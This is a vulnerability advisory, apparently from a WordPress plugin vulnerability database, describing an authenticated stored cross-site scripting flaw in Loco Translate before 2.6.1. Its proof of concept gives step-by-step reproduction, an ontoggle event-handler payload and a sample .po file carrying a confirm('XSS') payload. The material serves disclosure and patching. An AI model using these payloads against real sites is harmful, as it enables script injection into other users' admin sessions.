WordPress Plugin Vulnerabilities
Loco Translate < 2.6.1 - Authenticated Stored Cross-Site Scripting
Description
The plugin does not properly remove inline events from elements in the source translation strings before outputting them in the editor in the plugin admin panel, allowing any user with access to the plugin (Translator and Administrator by default) to add arbitrary javascript payloads to the source strings leading to a stored cross-site scripting (XSS) vulnerability.
Proof of Concept
## POC1: via (edit-template) 1.) Got to Plugin Loco Translate 2.) Enter Plugins Options 3.) Enter Edit Template Any Plugin 4.) Add New Message 5.) Edit Message 6.) Replace The Message With The Payload : ">'><details/open/ontoggle=alert('Yoho!')> 7.) Save 8.) Replicated ## POC2 via (example.po) 1.) Got to Plugin Loco Translate 2.) Enter Plugins Options Any Plugin 3.) Upload PO options 3.) Load example.po ## Example.po msgid "" msgstr "" "Project-Id-Version: xss-tester\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2022-02-25 03:48+0000\n" "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" "Last-Translator: FULL NAME <EMAIL@ADDRESS>\n" "Language-Team: \n" "Language: \n" "Plural-Forms: nplurals=INTEGER; plural=EXPRESSION;\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Loco https://localise.biz/\n" "X-Loco-Version: 2.5.8; wp-5.9.1\n" "X-Domain: xss-tester" msgid "xss-tester" msgstr "" msgid "\">'><details/open/ontoggle=confirm('XSS')>" msgstr ""
Affects Plugins
References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Taurus Omar
Submitter
Taurus Omar
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-03-22 (about 2 years ago)
Added
2022-03-22 (about 2 years ago)
Last Updated
2022-04-11 (about 2 years ago)